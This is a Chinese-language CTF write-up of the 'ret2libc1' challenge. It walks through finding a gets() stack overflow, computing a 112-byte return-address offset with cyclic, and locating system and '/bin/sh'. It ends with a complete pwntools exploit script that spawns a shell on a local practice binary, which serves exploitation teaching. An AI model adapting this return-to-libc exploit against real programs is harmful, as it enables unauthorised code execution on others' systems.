ret2libc1

知识点:基本ROP/cyclic计算地址偏移/ROPgadget/有’/bin/sh’与call _system情况下的系统调用

先checksec

是32位程序,开启了栈堆不可执行保护,打开ida

gets函数存在栈溢出,用cyclic计算偏移地址。

首先生成一个比较大的cyclic值。

复制到ret2libc1的gdb里,实现栈溢出。

这里的小箭头指向的就是要跳转的指令的地址,因为填充的数据不可跳转,就停在了这里,这里的0x62616164就是我们填充进去的cyclic中的某一小段,我们找到这一小段在cyclic中的地址,就可以算出需要填充多少垃圾数据,即劫持返回地址的偏移量。

因此我们需要填充112个垃圾数据。

接下来寻找反汇编程序中是否含有/bin/sh与system函数

那么有了system和/bin/sh就可以写exp了,这一题跟系统调用不一样,本题是直接使用call system函数,/bin/sh应该放在栈中作为函数参数,但是系统调用需要把参数放入寄存器中,以int 80h作为函数参数。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

p = process('./ret2libc1')
context.log_level = 'debug'
gdb.attach(p)
binsh = 0x08048720
system = 0x08048460

p.recvuntil('RET2LIBC >_<\n')
payload = 'a' * 112 + p32(system) + 'b'*4 + p32(binsh)
p.send(payload)

p.interactive()


ret2libc1
http://example.com/2021/03/10/ret2libc1/
作者
Magnesium
发布于
2021年3月10日
许可协议